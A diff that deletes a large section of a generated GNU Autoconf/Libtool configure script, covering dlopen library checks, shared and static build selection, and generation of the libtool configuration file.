- ac_cv_lib_dl_dlopen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5
-$as_echo "$ac_cv_lib_dl_dlopen" >&6; }
-if test "x$ac_cv_lib_dl_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -lsvld" >&5
-$as_echo_n "checking for dlopen in -lsvld... " >&6; }
-if ${ac_cv_lib_svld_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsvld $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dlopen ();
-int
-main ()
-{
-return dlopen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_svld_dlopen=yes
-else
- ac_cv_lib_svld_dlopen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_svld_dlopen" >&5
-$as_echo "$ac_cv_lib_svld_dlopen" >&6; }
-if test "x$ac_cv_lib_svld_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dld_link in -ldld" >&5
-$as_echo_n "checking for dld_link in -ldld... " >&6; }
-if ${ac_cv_lib_dld_dld_link+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldld $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dld_link ();
-int
-main ()
-{
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- ;
- return 0;
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-_ACEOF
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- ac_cv_lib_dld_dld_link=no
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-rm -f core conftest.err conftest.$ac_objext \
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-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_dld_link" >&5
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-if test "x$ac_cv_lib_dld_dld_link" = xyes; then :
- lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"
-fi
-
-
-fi
-
-
-fi
-
-
-fi
-
-
-fi
-
-
-fi
-
- ;;
- esac
-
- if test "x$lt_cv_dlopen" != xno; then
- enable_dlopen=yes
- else
- enable_dlopen=no
- fi
-
- case $lt_cv_dlopen in
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- save_CPPFLAGS="$CPPFLAGS"
- test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H"
-
- save_LDFLAGS="$LDFLAGS"
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\"
-
- save_LIBS="$LIBS"
- LIBS="$lt_cv_dlopen_libs $LIBS"
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether a program can dlopen itself" >&5
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-if ${lt_cv_dlopen_self+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- lt_cv_dlopen_self=cross
-else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<EOF
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-
-#if HAVE_DLFCN_H
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-#include <stdio.h>
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-# define LT_DLGLOBAL DL_GLOBAL
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-# define LT_DLGLOBAL 0
-# endif
-#endif
-
-/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
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-#ifndef LT_DLLAZY_OR_NOW
-# ifdef RTLD_LAZY
-# define LT_DLLAZY_OR_NOW RTLD_LAZY
-# else
-# ifdef DL_LAZY
-# define LT_DLLAZY_OR_NOW DL_LAZY
-# else
-# ifdef RTLD_NOW
-# define LT_DLLAZY_OR_NOW RTLD_NOW
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-# ifdef DL_NOW
-# define LT_DLLAZY_OR_NOW DL_NOW
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-# define LT_DLLAZY_OR_NOW 0
-# endif
-# endif
-# endif
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-{
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
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-
- if (self)
- {
- if (dlsym (self,"fnord")) status = $lt_dlno_uscore;
- else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
- /* dlclose (self); */
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- else
- puts (dlerror ());
-
- exit (status);
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- lt_status=$?
- case x$lt_status in
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- x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;;
- x$lt_dlunknown|x*) lt_cv_dlopen_self=no ;;
- esac
- else :
- # compilation failed
- lt_cv_dlopen_self=no
- fi
-fi
-rm -fr conftest*
-
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self" >&5
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-
- if test "x$lt_cv_dlopen_self" = xyes; then
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\"
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether a statically linked program can dlopen itself" >&5
-$as_echo_n "checking whether a statically linked program can dlopen itself... " >&6; }
-if ${lt_cv_dlopen_self_static+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- lt_cv_dlopen_self_static=cross
-else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<EOF
-#line __oline__ "configure"
-#include "confdefs.h"
-
-#if HAVE_DLFCN_H
-#include <dlfcn.h>
-#endif
-
-#include <stdio.h>
-
-#ifdef RTLD_GLOBAL
-# define LT_DLGLOBAL RTLD_GLOBAL
-#else
-# ifdef DL_GLOBAL
-# define LT_DLGLOBAL DL_GLOBAL
-# else
-# define LT_DLGLOBAL 0
-# endif
-#endif
-
-/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
- find out it does not work in some platform. */
-#ifndef LT_DLLAZY_OR_NOW
-# ifdef RTLD_LAZY
-# define LT_DLLAZY_OR_NOW RTLD_LAZY
-# else
-# ifdef DL_LAZY
-# define LT_DLLAZY_OR_NOW DL_LAZY
-# else
-# ifdef RTLD_NOW
-# define LT_DLLAZY_OR_NOW RTLD_NOW
-# else
-# ifdef DL_NOW
-# define LT_DLLAZY_OR_NOW DL_NOW
-# else
-# define LT_DLLAZY_OR_NOW 0
-# endif
-# endif
-# endif
-# endif
-#endif
-
-#ifdef __cplusplus
-extern "C" void exit (int);
-#endif
-
-void fnord() { int i=42;}
-int main ()
-{
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
- int status = $lt_dlunknown;
-
- if (self)
- {
- if (dlsym (self,"fnord")) status = $lt_dlno_uscore;
- else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
- /* dlclose (self); */
- }
- else
- puts (dlerror ());
-
- exit (status);
-}
-EOF
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
- (eval $ac_link) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s conftest${ac_exeext} 2>/dev/null; then
- (./conftest; exit; ) >&5 2>/dev/null
- lt_status=$?
- case x$lt_status in
- x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;;
- x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;;
- x$lt_dlunknown|x*) lt_cv_dlopen_self_static=no ;;
- esac
- else :
- # compilation failed
- lt_cv_dlopen_self_static=no
- fi
-fi
-rm -fr conftest*
-
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self_static" >&5
-$as_echo "$lt_cv_dlopen_self_static" >&6; }
- fi
-
- CPPFLAGS="$save_CPPFLAGS"
- LDFLAGS="$save_LDFLAGS"
- LIBS="$save_LIBS"
- ;;
- esac
-
- case $lt_cv_dlopen_self in
- yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;;
- *) enable_dlopen_self=unknown ;;
- esac
-
- case $lt_cv_dlopen_self_static in
- yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;;
- *) enable_dlopen_self_static=unknown ;;
- esac
-fi
-
-
-# Report which library types will actually be built
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5
-$as_echo_n "checking if libtool supports shared libraries... " >&6; }
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5
-$as_echo "$can_build_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5
-$as_echo_n "checking whether to build shared libraries... " >&6; }
-test "$can_build_shared" = "no" && enable_shared=no
-
-# On AIX, shared libraries and static libraries use the same namespace, and
-# are all built from PIC.
-case $host_os in
-aix3*)
- test "$enable_shared" = yes && enable_static=no
- if test -n "$RANLIB"; then
- archive_cmds="$archive_cmds~\$RANLIB \$lib"
- postinstall_cmds='$RANLIB $lib'
- fi
- ;;
-
-aix4* | aix5*)
- if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
- test "$enable_shared" = yes && enable_static=no
- fi
- ;;
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5
-$as_echo "$enable_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build static libraries" >&5
-$as_echo_n "checking whether to build static libraries... " >&6; }
-# Make sure either enable_shared or enable_static is yes.
-test "$enable_shared" = yes || enable_static=yes
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5
-$as_echo "$enable_static" >&6; }
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler \
- CC \
- LD \
- lt_prog_compiler_wl \
- lt_prog_compiler_pic \
- lt_prog_compiler_static \
- lt_prog_compiler_no_builtin_flag \
- export_dynamic_flag_spec \
- thread_safe_flag_spec \
- whole_archive_flag_spec \
- enable_shared_with_static_runtimes \
- old_archive_cmds \
- old_archive_from_new_cmds \
- predep_objects \
- postdep_objects \
- predeps \
- postdeps \
- compiler_lib_search_path \
- archive_cmds \
- archive_expsym_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- old_archive_from_expsyms_cmds \
- allow_undefined_flag \
- no_undefined_flag \
- export_symbols_cmds \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
- hardcode_automatic \
- module_cmds \
- module_expsym_cmds \
- lt_cv_prog_compiler_c_o \
- exclude_expsyms \
- include_expsyms; do
-
- case $var in
- old_archive_cmds | \
- old_archive_from_new_cmds | \
- archive_cmds | \
- archive_expsym_cmds | \
- module_cmds | \
- module_expsym_cmds | \
- old_archive_from_expsyms_cmds | \
- export_symbols_cmds | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
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- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
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- trap "$rm \"$cfgfile\"; exit 1" 1 2 15
- $rm -f "$cfgfile"
- { $as_echo "$as_me:${as_lineno-$LINENO}: creating $ofile" >&5
-$as_echo "$as_me: creating $ofile" >&6;}
-
- cat <<__EOF__ >> "$cfgfile"
-#! $SHELL
-
-# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services.
-# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP)
-# NOTE: Changes made to this file will be lost: look at ltmain.sh.
-#
-# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001
-# Free Software Foundation, Inc.
-#
-# This file is part of GNU Libtool:
-# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-# A sed program that does not truncate output.
-SED=$lt_SED
-
-# Sed that helps us avoid accidentally triggering echo(1) options like -n.
-Xsed="$SED -e 1s/^X//"
-
-# The HP-UX ksh and POSIX shell print the target directory to stdout
-# if CDPATH is set.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-# The names of the tagged configurations supported by this script.
-available_tags=
-
-# ### BEGIN LIBTOOL CONFIG
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
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-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
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-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler
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-# Is the compiler the GNU C compiler?
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-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
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-
-# Used on cygwin: DLL creation program.
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-
-# Used on cygwin: object dumper.
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-
-# Used on cygwin: assembler.
-AS="$AS"
-
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-objdir=$objdir
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-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
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-
-# Whether dlopen of programs is supported.
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-# Whether dlopen of statically linked programs is supported.
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-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static
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-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
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-library_names_spec=$lt_library_names_spec
-
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-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds
-archive_expsym_cmds=$lt_archive_expsym_cmds
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds
-module_expsym_cmds=$lt_module_expsym_cmds
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
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-predep_objects=$lt_predep_objects
-
-# Dependencies to place after the objects being linked to create a
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-postdep_objects=$lt_postdep_objects
-
-# Dependencies to place before the objects being linked to create a
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-predeps=$lt_predeps
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path
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-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag
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-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
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-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
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-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
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-# Whether we should hardcode library paths into libraries.
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-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms
-
-# ### END LIBTOOL CONFIG
-
-__EOF__
-
-
- case $host_os in
- aix3*)
- cat <<\EOF >> "$cfgfile"
-
-# AIX sometimes has problems with the GCC collect2 program. For some
-# reason, if we set the COLLECT_NAMES environment variable, the problems
-# vanish in a puff of smoke.
-if test "X${COLLECT_NAMES+set}" != Xset; then
- COLLECT_NAMES=
- export COLLECT_NAMES
-fi
-EOF
- ;;
- esac
-
- # We use sed instead of cat because bash on DJGPP gets confused if
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
- sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1)
-
- mv -f "$cfgfile" "$ofile" || \
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
-
-@%:@ Check whether --with-tags was given.
-if test "${with_tags+set}" = set; then :
- withval=$with_tags; tagnames="$withval"
-fi
-
-
-if test -f "$ltmain" && test -n "$tagnames"; then
- if test ! -f "${ofile}"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: output file \`$ofile' does not exist" >&5
-$as_echo "$as_me: WARNING: output file \`$ofile' does not exist" >&2;}
- fi
-
- if test -z "$LTCC"; then
- eval "`$SHELL ${ofile} --config | grep '^LTCC='`"
- if test -z "$LTCC"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: output file \`$ofile' does not look like a libtool script" >&5
-$as_echo "$as_me: WARNING: output file \`$ofile' does not look like a libtool script" >&2;}
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using \`LTCC=$LTCC', extracted from \`$ofile'" >&5
-$as_echo "$as_me: WARNING: using \`LTCC=$LTCC', extracted from \`$ofile'" >&2;}
- fi
- fi
- if test -z "$LTCFLAGS"; then
- eval "`$SHELL ${ofile} --config | grep '^LTCFLAGS='`"
- fi
-
- # Extract list of available tagged configurations in $ofile.
- # Note that this assumes the entire list is on one line.
- available_tags=`grep "^available_tags=" "${ofile}" | $SED -e 's/available_tags=\(.*$\)/\1/' -e 's/\"//g'`
-
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
- for tagname in $tagnames; do
- IFS="$lt_save_ifs"
- # Check whether tagname contains only valid characters
- case `$echo "X$tagname" | $Xsed -e 's:[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]::g'` in
- "") ;;
- *) as_fn_error $? "invalid tag name: $tagname" "$LINENO" 5
- ;;
- esac
-
- if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null
- then
- as_fn_error $? "tag name \"$tagname\" already exists" "$LINENO" 5
- fi
-
- # Update the list of available tags.
- if test -n "$tagname"; then
- echo appending configuration tag \"$tagname\" to $ofile
-
- case $tagname in
- CXX)
- if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
- ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
- (test "X$CXX" != "Xg++"))) ; then
- ac_ext=cpp
-ac_cpp='$CXXCPP $CPPFLAGS'
-ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
-
-
-
-
-archive_cmds_need_lc_CXX=no
-allow_undefined_flag_CXX=
-always_export_symbols_CXX=no
-archive_expsym_cmds_CXX=
-export_dynamic_flag_spec_CXX=
-hardcode_direct_CXX=no
-hardcode_libdir_flag_spec_CXX=
-hardcode_libdir_flag_spec_ld_CXX=
-hardcode_libdir_separator_CXX=
-hardcode_minus_L_CXX=no
-hardcode_shlibpath_var_CXX=unsupported
-hardcode_automatic_CXX=no
-module_cmds_CXX=
-module_expsym_cmds_CXX=
-link_all_deplibs_CXX=unknown
-old_archive_cmds_CXX=$old_archive_cmds
-no_undefined_flag_CXX=
-whole_archive_flag_spec_CXX=
-enable_shared_with_static_runtimes_CXX=no
-
-# Dependencies to place before and after the object being linked:
-predep_objects_CXX=
-postdep_objects_CXX=
-predeps_CXX=
-postdeps_CXX=
-compiler_lib_search_path_CXX=
-
-# Source file extension for C++ test sources.
-ac_ext=cpp
-
-# Object file extension for compiled C++ test sources.
-objext=o
-objext_CXX=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="int some_variable = 0;\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='int main(int, char *[]) { return(0); }\n'
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC=$CC
-lt_save_LD=$LD
-lt_save_GCC=$GCC
-GCC=$GXX
-lt_save_with_gnu_ld=$with_gnu_ld
-lt_save_path_LD=$lt_cv_path_LD
-if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then
- lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx
-else
- $as_unset lt_cv_prog_gnu_ld
-fi
-if test -n "${lt_cv_path_LDCXX+set}"; then
- lt_cv_path_LD=$lt_cv_path_LDCXX
-else
- $as_unset lt_cv_path_LD
-fi
-test -z "${LDCXX+set}" || LD=$LDCXX
-CC=${CXX-"c++"}
-compiler=$CC
-compiler_CXX=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-# We don't want -fno-exception wen compiling C++ code, so set the
-# no_builtin_flag separately
